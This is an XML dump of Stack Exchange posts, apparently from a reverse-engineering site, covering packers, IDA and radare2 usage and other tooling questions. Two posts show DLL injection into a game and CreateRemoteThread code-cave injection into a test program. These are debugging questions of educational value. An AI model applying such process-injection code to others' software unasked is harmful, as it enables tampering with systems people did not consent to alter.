  <row Id="14288" PostTypeId="1" AcceptedAnswerId="14291" CreationDate="2016-12-30T12:03:40.697" Score="2" ViewCount="629" Body="&lt;p&gt;&lt;em&gt;I don't know whether this is the right place for this question or this question is too basic.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was reading Antivirus Hacker's Handbook, where they talked a bit about software packers, protectors, and &lt;a href=&quot;https://en.wikipedia.org/wiki/Executable_compression&quot; rel=&quot;nofollow noreferrer&quot;&gt;executable compression&lt;/a&gt;. I googled a lot about those topics and found some sites but I was not able to get any kind of basic understanding of what the keywords &lt;em&gt;Software Packer&lt;/em&gt;, &lt;em&gt;Software Protector&lt;/em&gt; and &lt;em&gt;Executable Compression&lt;/em&gt; are and why they're a thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please explain what executable compression and packing are and why they exist on the most basic level?&lt;/p&gt;&#xA;" OwnerUserId="18039" LastEditorUserId="2147" LastEditDate="2017-01-02T17:53:08.197" LastActivityDate="2017-01-02T17:53:08.197" Title="What is Executable Compression?" Tags="|decompress|packers|malware|" AnswerCount="1" CommentCount="3" ClosedDate="2017-01-01T06:55:52.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="14290" PostTypeId="2" ParentId="14273" CreationDate="2016-12-30T14:18:19.920" Score="0" Body="&lt;p&gt;You are doing nothing wrong AFAIK. The base64 decodes well as the following data stream:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  86 00 01 02 01 58 61 9c  ec 60 4e 20 de ad 3b 7a  |.....Xa..`N ..;z|&#xA;00000010  e5 4c e3 b4 93 1a dc 63  5e bb 37 91 82 61 64 01  |.L.....c^.7..ad.|&#xA;00000020  69 5b b3 88 f8 f2 dc 9c  89 44 47 30 c5 b3 8b 25  |i[.......DG0...%|&#xA;00000030  af fa c6 66 6f 60 93 08  35 59 fd 27 b8 61 bd af  |...fo`..5Y.'.a..|&#xA;00000040  38 9b fa df d0 4b 34 70  f4 d9 25 40 e3 59 fc 7f  |8....K4p..%@.Y..|&#xA;00000050  ee bb 1f 55 78 10 a8 3e  69 62 13 7b 31 2e f5 36  |...Ux..&amp;gt;ib.{1..6|&#xA;00000060  92 9d dc 79 a8 6b ba b7  58 40 aa 25 1f fd f1 f2  |...y.k..X@.%....|&#xA;00000070  ef c0 c6 56 ed 9f 64 01  0d a7 aa c3 71 1b a7 51  |...V..d.....q..Q|&#xA;00000080  41 88 57 fd f0 c6 2b 40  d1 3f 5d 8a e1 95 4b f5  |A.W...+@.?]...K.|&#xA;00000090  32 d0 ba 6f 3c 95 47 c1  f3 41 80 e9 2e 5c 50 14  |2..o&amp;lt;.G..A...\P.|&#xA;000000a0  ef 31 0e 76 5c 22 a7 ea  bd 03                    |.1.v\&quot;....|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... which is indeed neither text nor an image, just binary data. You must ask for a hint of what they are supposed to be.&lt;/p&gt;&#xA;" OwnerUserId="18275" LastActivityDate="2016-12-30T14:18:19.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14291" PostTypeId="2" ParentId="14288" CreationDate="2016-12-30T15:42:24.290" Score="2" Body="&lt;p&gt;Executable compression (AKA executable packing) is the idea that an PE, ELF and MACHO file formats were not fully designed to be compact for obvious reasons.&#xA;In the past, when memory was scarce, making executable files smaller in size was often a goal either mandatory of preferable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that reason, tools were created to keep an executable functional while making it smaller in size. For that, different compression algorithms were employed on code and  data parts of executables, and a small decompression code stub was added to reverse the process during the executable's runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is that you take a given executable and compress it's entire code and data sections (which are often most of the file). You would then include the compressed output as part of a new executable and include in that new executable a subroutine that does the opposite - decompresses the compressed data back into it's original (bigger) form, and then execute the original uncompressed entry point as if the code was never compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the need for compact executables faded when storage memory became cheaper an interesting property of compressed executables was discovered: a compressed executable's code is harder to read without prior decompression.&#xA;Developers and coders started using compression to hide code they wanted to hide from third parties. Packing became a way to avoid or complicate reverse engineering processes and packers shifted focus from compression to obfuscation, encryption and anti-reverse-enginerring tools.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-12-30T15:47:29.963" LastActivityDate="2016-12-30T15:47:29.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14292" PostTypeId="2" ParentId="14285" CreationDate="2016-12-30T17:26:53.460" Score="1" Body="&lt;p&gt;If you have control over the original memory, and performance is not a concern, you can install an exception handler, and then mark the entire original memory region as &quot;not accessible&quot;.  For each access in the original region, the exception handler will gain control.  At that point, you can copy the faulting instruction to a local buffer, save all registers, modify the memory address, let the instruction run from the local buffer, restore all registers, and finally resume execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique was demonstrated in a Windows program called &quot;Brutal Address Space Layout Randomisation&quot; some years ago.  It came with source code, so that might help you, if you can find it.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2016-12-30T17:26:53.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14293" PostTypeId="1" AcceptedAnswerId="14295" CreationDate="2016-12-30T19:04:13.033" Score="3" ViewCount="1251" Body="&lt;p&gt;For the source generated by Hex Ray's decompiler in IDA, is it possible to highlight matching braces once I place the pointer at the beginning of a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, in the screenshot below, the &lt;code&gt;if&lt;/code&gt; block begins at line# &lt;code&gt;263&lt;/code&gt; and ends at line# &lt;code&gt;269&lt;/code&gt;. What I want is, if I place the cursor at line# &lt;code&gt;263&lt;/code&gt;, IDA should highlight the block end at line# &lt;code&gt;269&lt;/code&gt;. Is such a feature available? Many code editors provides similar feature to make code browsing easier for larger blocks of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SpddM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SpddM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2016-12-31T04:47:38.680" Title="How to find matching braces in IDA's decompiled code?" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14295" PostTypeId="2" ParentId="14293" CreationDate="2016-12-31T04:47:38.680" Score="2" Body="&lt;p&gt;There is no way to do this by default. Checkout the &lt;a href=&quot;https://www.hex-rays.com/contests/2016/hexlight/hexrays_hlight.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hexlight&lt;/a&gt; plugin by Milan Bohacek. It will highlight the line with the matching brace.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example from Hex-Rays site:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/B2aX8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B2aX8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2016-12-31T04:47:38.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14298" PostTypeId="2" ParentId="14285" CreationDate="2016-12-31T09:37:27.130" Score="0" Body="&lt;p&gt;Things will invariably be messy if you simulate only the (memory) environment but try to have instructions executed natively, regardless of whether you use single-step mode or page faulting - especially if you plan on combining this with (partial) code rewriting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what you're trying to achieve it might be easier to simulate execution instead of running instructions natively, since that gives you full control in a much simpler fashion. Part of the simulation would be a MMU-like subsystem that performs the actual address translation, borrowing heavily from the ideas contained in the MMUs of actual processors. Also, this way you can obtain additional information for analysis, if that's where you're headed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used a much simplified version of such a system for things like getting my hands on the contents of dynamically initialised data structures (initialised to 0 in the image or residing in BSS) and poking the data into the IDA database for the executable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One advantage of such a scheme is that it can be kept very simple, depending on the analysis goal. By contrast, native execution will always be incredibly messy. Another advantage is that simulated execution is not as tightly bound to actual code paths as native execution. For example, an analyser that uses partial simulation could decide to follow all code paths in some of its phases until it achieves maximal coverage, much like good disassemblers (e.g. IDA) do.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2016-12-31T09:44:05.523" LastActivityDate="2016-12-31T09:44:05.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14300" PostTypeId="2" ParentId="14218" CreationDate="2016-12-31T21:07:25.043" Score="7" Body="&lt;p&gt;There doesn't seem to be an elegant solution to this. Looks like if you would be writing a plugin in C you would be able to call &lt;code&gt;sib_base&lt;/code&gt;, &lt;code&gt;sib_index&lt;/code&gt;, &lt;code&gt;sib_scale&lt;/code&gt; to get the info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how you could do it in Python.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idautils import DecodeInstruction&#xA;from idaapi import get_reg_name&#xA;&#xA;ea = 0x20AC5 # Assuming this ea is a lea&#xA;i = DecodeInstruction(ea)&#xA;&#xA;hasSIB = i.Op2.specflag1&#xA;sib = i.Op2.specflag2&#xA;&#xA;if hasSIB:&#xA;    base = sib  &amp;amp; 7&#xA;    index = (sib &amp;gt;&amp;gt; 3) &amp;amp; 7&#xA;    scale = (sib &amp;gt;&amp;gt; 6) &amp;amp; 3&#xA;    size = 4 if i.Op2.dtyp == idaapi.dt_dword else 8&#xA;    print '[{} + {}{} + {:x}]'.format(&#xA;        get_reg_name(base, size),&#xA;        get_reg_name(index, size),&#xA;        '*{}'.format(2**scale) if scale else '',&#xA;        i.Op2.addr&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example Output:&#xA;&lt;code&gt;[ebx + eax*4 + 8c]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="2959" LastEditDate="2016-12-31T21:08:53.923" LastActivityDate="2016-12-31T21:08:53.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14301" PostTypeId="1" AcceptedAnswerId="14322" CreationDate="2017-01-01T03:35:53.913" Score="0" ViewCount="1935" Body="&lt;p&gt;I've been trying to make some modding tools for quake live by reverse engineering, and I have this function. I rebased my program to 0x0, and did pretty much everything to set me up. However, when I call virtualprotect it doesn't work. I still get access violations when I inject the DLL. All helps appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4NNCt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4NNCt.png&quot; alt=&quot;comprintf&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above, I have the address for the value. Heres how I'm calling virtualprotect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef void(__cdecl* Com_printf)(const char* msg, ...);&#xA;&#xA;namespace QLIVESDK &#xA;{&#xA;    void Com_Printf(const char* a1, ...)&#xA;    {&#xA;        DWORD old;&#xA;        VirtualProtect((PVOID)(GetModuleHandle(&quot;quakelive_steam.exe&quot;) + 0x000C9860), sizeof(a1), PAGE_EXECUTE_READWRITE, &amp;amp;old);&#xA;        Com_printf com_print = (Com_printf)0x000C9860;&#xA;        return com_print(a1);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/id-Software/Quake-III-Arena/blob/dbe4ddb10315479fc00086f08e25d968b4b43c49/code/qcommon/common.c#L143&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/id-Software/Quake-III-Arena/blob/dbe4ddb10315479fc00086f08e25d968b4b43c49/code/qcommon/common.c#L143&lt;/a&gt;&#xA;Heres the function I'm trying to reverse. And heres how I'm calling it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void Init()&#xA;{&#xA;    QLIVESDK::Com_Printf(&quot;hello, world!\n&quot;); //test this shit&#xA;}&#xA;&#xA;BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)&#xA;{&#xA;    switch (fdwReason)&#xA;    {&#xA;    case DLL_PROCESS_ATTACH:&#xA;        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Init, 0, 0, 0);&#xA;        break;&#xA;    }&#xA;    return 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, its not working. I still get access violations. Thanks! All helps appreciated! :)&lt;/p&gt;&#xA;" OwnerUserId="17525" LastActivityDate="2017-01-04T15:00:15.517" Title="VirtualProtect a function isn't working." Tags="|c++|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14303" PostTypeId="2" ParentId="11653" CreationDate="2017-01-01T15:00:00.640" Score="11" Body="&lt;p&gt;Essentially, it's the following workflow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 -A /path/to/binary   // load the binary and perform initial analysis&#xA;afl                     // print function symbols&#xA;pdf @sym.of.interest    // disassemble&#xA;pdc @sym.of.interest    // &quot;decompile&quot; or generate pseudo code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is an example of how to disassemble a function of &lt;a href=&quot;https://github.com/gdbinit/MachOView&quot; rel=&quot;noreferrer&quot;&gt;MachoViewer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@0x4B6169:/$ r2 -A /Applications/MachOView.app/Contents/MacOS/MachOView 2&amp;gt;/dev/null&#xA; -- Run .dmm* to load the flags of the symbols of all modules loaded in the debugger&#xA;[0x100001da0]&amp;gt; afl | grep sym.__MachOLayout_get&#xA;0x10000b252    4 49           sym.__MachOLayout_getSectionByIndex:_&#xA;0x10000b283    4 49           sym.__MachOLayout_getSection64ByIndex:_&#xA;0x10000b2b4    4 49           sym.__MachOLayout_getSymbolByIndex:_&#xA;0x10000b2e5    4 49           sym.__MachOLayout_getSymbol64ByIndex:_&#xA;0x10000b316    4 49           sym.__MachOLayout_getDylibByIndex:_&#xA;[0x100001da0]&amp;gt; pdf @sym.__MachOLayout_getSymbolByIndex:_&#xA;            ;-- func.10000b2b4:&#xA;            ;-- method.MachOLayout.getSymbolByIndex::&#xA;╒ (fcn) sym.__MachOLayout_getSymbolByIndex:_ 49&#xA;│           0x10000b2b4      55             push rbp&#xA;│           0x10000b2b5      4889e5         mov rbp, rsp&#xA;│           0x10000b2b8      89d0           mov eax, edx&#xA;│           0x10000b2ba      488b151f760f.  mov rdx, qword [rip + 0xf761f] ; [0x1001028e0:8]=176 LEA sym._OBJC_IVAR___MachOLayout.symbols ; sym._OBJC_IVAR___MachOLayout.symbols&#xA;│           0x10000b2c1      488b0c17       mov rcx, qword [rdi + rdx]&#xA;│           0x10000b2c5      488b541708     mov rdx, qword [rdi + rdx + 8] ; [0x8:8]=0x280000003&#xA;│           0x10000b2ca      4829ca         sub rdx, rcx&#xA;│           0x10000b2cd      48c1fa03       sar rdx, 3&#xA;│           0x10000b2d1      4839d0         cmp rax, rdx&#xA;│       ┌─&amp;lt; 0x10000b2d4      7306           jae 0x10000b2dc&#xA;│       │   0x10000b2d6      488b04c1       mov rax, qword [rcx + rax*8]&#xA;│      ┌──&amp;lt; 0x10000b2da      eb07           jmp 0x10000b2e3&#xA;│      ││   ; JMP XREF from 0x10000b2d4 (sym.__MachOLayout_getSymbolByIndex:_)&#xA;│      │└─&amp;gt; 0x10000b2dc      488d05e5fd0a.  lea rax, [rip + 0xafde5]   ; 0x1000bb0c8 ; sym.__MachOLayoutgetSymbolByIndex:_::notfound ; sym.__MachOLayoutgetSymbolByIndex:_::notfound&#xA;│      │    ; JMP XREF from 0x10000b2da (sym.__MachOLayout_getSymbolByIndex:_)&#xA;│      └──&amp;gt; 0x10000b2e3      5d             pop rbp&#xA;╘           0x10000b2e4      c3             ret&#xA;[0x100001da0]&amp;gt; quit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Generating some form of pseudo code (&quot;decompiling&quot;) works similarly through the ingeniously logic command input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x100001da0]&amp;gt; pdc @sym.__MachOLayout_getSymbolByIndex:_&#xA;function sub.__MachOLayoutgetSymbolByIndex:_.notfound_2b4 () {&#xA;    loc_0x10000b2b4:&#xA;&#xA;       push rbp&#xA;       rbp = rsp&#xA;       eax = edx&#xA;       rdx = qword sym._OBJC_IVAR___MachOLayout.symbols //[0x1001028e0:8]=176 ; &quot;__text&quot;&#xA;       rcx = qword [rdi + rdx]&#xA;       rdx = qword [rdi + rdx + 8] //[0x8:8]=0x280000003&#xA;       rdx -= rcx&#xA;       rdx &amp;gt;&amp;gt;= 3&#xA;       var = rax - rdx&#xA;       jae 0x10000b2dc          //unlikely&#xA;       {&#xA;        loc_0x10000b2dc:&#xA;&#xA;         //JMP XREF from 0x10000b2d4 (sub.__MachOLayoutgetSymbolByIndex:_.notfound_2b4)&#xA;           rax = [sym.__MachOLayoutgetSymbolByIndex:_::notfound] //method.__MachOLayoutgetSymbolByIndex:_.notfound ; 0x1000bb0c8 ; method.__MachOLayoutgetSymbolByIndex:_.notfound&#xA;       do&#xA;       {&#xA;            loc_0x10000b2e3:&#xA;&#xA;             //JMP XREF from 0x10000b2da (sub.__MachOLayoutgetSymbolByIndex:_.notfound_2b4)&#xA;               pop rbp&#xA;&#xA;           } while (?);&#xA;       } while (?);&#xA;      }&#xA;      return;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside &lt;a href=&quot;https://www.hopperapp.com/&quot; rel=&quot;noreferrer&quot;&gt;hopper v4&lt;/a&gt; you can do the same as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hopperv4 -e /Applications/MachOView.app/Contents/MacOS/MachOView&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This opens hopper and you can click on the &quot;Proc.&quot; tab, and search for the function. Once you click on it, you will see the following disassembly (radare2 1.5.0 0 @ darwin-x86-64 git.1.5.0, commit: HEAD build: 2017-05-31__14:31:32):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000010000b2b4         push       rbp                                         ; Objective C Implementation defined at 0x1000f5de8 (instance method), DATA XREF=0x1000f5de8&#xA;000000010000b2b5         mov        rbp, rsp&#xA;000000010000b2b8         mov        eax, edx&#xA;000000010000b2ba         mov        rdx, qword [_OBJC_IVAR_$_MachOLayout.symbols]&#xA;000000010000b2c1         mov        rcx, qword [rdi+rdx]&#xA;000000010000b2c5         mov        rdx, qword [rdi+rdx+8]&#xA;000000010000b2ca         sub        rdx, rcx&#xA;000000010000b2cd         sar        rdx, 0x3&#xA;000000010000b2d1         cmp        rax, rdx&#xA;000000010000b2d4         jae        loc_10000b2dc&#xA;&#xA;000000010000b2d6         mov        rax, qword [rcx+rax*8]&#xA;000000010000b2da         jmp        loc_10000b2e3&#xA;&#xA;                     loc_10000b2dc:&#xA;000000010000b2dc         lea        rax, qword [__ZZ32-[MachOLayout getSymbolByIndex:]E8notfound] ; CODE XREF=-[MachOLayout getSymbolByIndex:]+32&#xA;&#xA;                     loc_10000b2e3:&#xA;000000010000b2e3         pop        rbp                                         ; CODE XREF=-[MachOLayout getSymbolByIndex:]+38&#xA;000000010000b2e4         ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clearly, the pseudo-code inside hopper is at this moment still quite better than what I could get inside radare2. The above disassembly in pseudo code inside hopper (v4.2.1) reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct nlist * -[MachOLayout getSymbolByIndex:](void * self, void * _cmd, unsigned int arg2) {&#xA;    rax = arg2;&#xA;    rcx = self-&amp;gt;symbols;&#xA;    if (rax &amp;lt; SAR(*(self + *_OBJC_IVAR_$_MachOLayout.symbols + 0x8) - rcx, 0x3)) {&#xA;            rax = *(rcx + rax * 0x8);&#xA;    }&#xA;    else {&#xA;            rax = -[MachOLayout getSymbolByIndex:]::notfound;&#xA;    }&#xA;    return rax;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18183" LastEditorUserId="18183" LastEditDate="2017-06-09T08:16:23.960" LastActivityDate="2017-06-09T08:16:23.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14306" PostTypeId="1" AcceptedAnswerId="14307" CreationDate="2017-01-02T13:13:32.603" Score="-2" ViewCount="150" Body="&lt;p&gt;uhm, I had made a Graphing Calculator program in Python but I wanted to use it in a smartphone so I was wondering is there any way i can reprogram a smartphone, it doesn't matter how hard it will be but is it possible ?  Also I don't want to develop apps because I want the phone to run the Calculator only.&lt;/p&gt;&#xA;" OwnerUserId="18636" LastActivityDate="2017-01-02T13:50:26.130" Title="Is it possible to reprogram an android smart phone?" Tags="|firmware|" AnswerCount="1" CommentCount="0" ClosedDate="2017-01-03T16:41:00.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="14307" PostTypeId="2" ParentId="14306" CreationDate="2017-01-02T13:50:26.130" Score="1" Body="&lt;p&gt;With SL4A you can run python-code on your android smartphone, but you must change your code because normal tkinter things don't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to break your phone you can install linux.&#xA;Search for linux installer within the play store.&lt;/p&gt;&#xA;" OwnerUserId="18637" LastActivityDate="2017-01-02T13:50:26.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14308" PostTypeId="1" CreationDate="2017-01-02T16:52:30.690" Score="3" ViewCount="831" Body="&lt;p&gt;I'm trying to edit a Japanese Configuration executable using Resource Hacker and I just want to translate the UI stuff to English. There are also a few English text that I was able to find and successfully edit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that before the hex editor can properly display Kanji, I need a table for it (.tbl). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google only leads me to translating Japanese NES games which doesn't apply to what I'm trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the Japanese characters on the UI of the .exe file I'm trying to edit even if I have already installed the Japanese Language Pack -- I still need to set the Region &gt; Format to Japan before the characters are properly displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really hope someone can help me with this. :-/&lt;/p&gt;&#xA;" OwnerUserId="18638" LastEditorUserId="60" LastEditDate="2017-03-14T14:47:59.757" LastActivityDate="2017-10-10T19:30:08.017" Title="How can I create an appropriate Japanese .tbl file for Hex Editing?" Tags="|hex|patching|binary-editing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14309" PostTypeId="1" CreationDate="2017-01-02T17:26:06.583" Score="1" ViewCount="689" Body="&lt;p&gt;I am messing around with some dll injection/code injection. Therefore I made a little program which does nothing, but it has a function in it, which never get called and I wrote another program which injects code into the first which should call that function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my program which injects the code (only relevant part is shown):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BYTE codeCave[15] = {&#xA;        0xFF, 0x74, 0x24, 0x04, //PUSH DWORD PTR:[ESP+04]&#xA;        0x88, 0x00, 0x00, 0x00, 0x00,   //MOV EAX, 0x0  (0x0 is the address of the function)&#xA;        0xFF, 0xD0, //CALL EAX&#xA;        0x83, 0xC4, 0x04,   //ADD ESP, 0x04&#xA;        0xC3    //RETN&#xA;    };&#xA;&#xA;    DWORD offset = 0x00014D80;&#xA;    DWORD funcAdr = offset + myLib.getBaseAdress();&#xA;    memcpy(&amp;amp;codeCave[5], &amp;amp;funcAdr, 4);&#xA;&#xA;    char testString[] = &quot;I called the function.&quot;;&#xA;&#xA;    int stringlen = strlen(testString) + 1; //+1 for \0 at the end&#xA;    int caveLen = sizeof(codeCave);&#xA;    int fullLen = caveLen + stringlen;&#xA;&#xA;    LPVOID remoteString = myLib.allocateMemoryInProcess(fullLen);&#xA;    if (remoteString == NULL) {&#xA;        printf(&quot;FAILED&quot;);&#xA;        return 1;&#xA;    }&#xA;    LPVOID remoteCave = (LPVOID)((DWORD)remoteString + stringlen);&#xA;    myLib.writeMemory((LPVOID)remoteString, testString);&#xA;    myLib.writeMemory((LPVOID)remoteCave, codeCave);&#xA;    printf(&quot;%x\n&quot;, funcAdr);&#xA;    printf(&quot;%x\n&quot;, remoteCave);&#xA;    getchar();&#xA;    myLib.createThread((LPTHREAD_START_ROUTINE)remoteCave, remoteString);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LPVOID allocateMemoryInProcess(int length) {&#xA;    return VirtualAllocEx(gameHandle, 0, length, MEM_COMMIT, PAGE_EXECUTE);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void createThread(LPTHREAD_START_ROUTINE startAdr, LPVOID arg) {&#xA;    HANDLE thread = CreateRemoteThread(gameHandle, NULL, NULL, startAdr, arg, NULL, NULL);&#xA;    WaitForSingleObject(thread, INFINITE);&#xA;    CloseHandle(thread);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;funcAdr&quot; is the address I want to call in the other program, it is right as I print it out and opened it up in ollydbg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump          Command                                  Comments&#xA;00034D80  /$  55            PUSH EBP                                 ; ListTest.print(string)&#xA;00034D81  |.  8BEC          MOV EBP,ESP&#xA;00034D83  |.  81EC C0000000 SUB ESP,0C0&#xA;00034D89  |.  53            PUSH EBX&#xA;00034D8A  |.  56            PUSH ESI&#xA;00034D8B  |.  57            PUSH EDI&#xA;00034D8C  |.  8DBD 40FFFFFF LEA EDI,[EBP-0C0]&#xA;00034D92  |?  B9 30000000   MOV ECX,30&#xA;00034D97  |?  B8 CCCCCCCC   MOV EAX,CCCCCCCC&#xA;00034D9C  |?  F3:AB         REP STOS DWORD PTR ES:[EDI]&#xA;00034D9E  |?  68 28BC0300   PUSH OFFSET 0003BC28                     ; ASCII &quot;TROLOLOLO&quot;&#xA;00034DA3  |.  E8 61C8FFFF   CALL 00031609&#xA;00034DA8  |?  83C4 04       ADD ESP,4&#xA;00034DAB  |?  8B45 08       MOV EAX,DWORD PTR SS:[EBP+8]&#xA;00034DAE  |?  50            PUSH EAX&#xA;00034DAF  |?  E8 55C8FFFF   CALL 00031609&#xA;00034DB4  |.  83C4 04       ADD ESP,4&#xA;00034DB7  |?  5F            POP EDI&#xA;00034DB8  |?  5E            POP ESI&#xA;00034DB9  |?  5B            POP EBX&#xA;00034DBA  |.  81C4 C0000000 ADD ESP,0C0&#xA;00034DC0  |?  3BEC          CMP EBP,ESP&#xA;00034DC2  |?  E8 5AC4FFFF   CALL 00031221&#xA;00034DC7  |.  8BE5          MOV ESP,EBP                              ; |&#xA;00034DC9  |?  5D            POP EBP                                  ; |&#xA;00034DCA  |?  C3            RETN                                     ; |&#xA;00034DCB  |?  CC            INT3                                     ; |&#xA;00034DCC  |?  CC            INT3                                     ; |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function which I want to call from my second program simply receives a const char* and prints it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void print(const char* string) {&#xA;    printf(&quot;TROLOLOLO&quot;);&#xA;    printf(string);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I run the above code I receive following error:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/AoQmf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AoQmf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I however change my print function in the first application so that it doesn't receive any argument and I call &quot;funcAdr&quot; directly through .createThread it works without problems though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you guys maybe help me and tell me where I have something wrong?&lt;/p&gt;&#xA;" OwnerUserId="18641" LastEditorUserId="18642" LastEditDate="2017-01-02T19:35:03.110" LastActivityDate="2017-01-03T10:16:14.717" Title="Unable to call function with CreateRemoteThread" Tags="|dll-injection|byte-code|shellcode|injection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
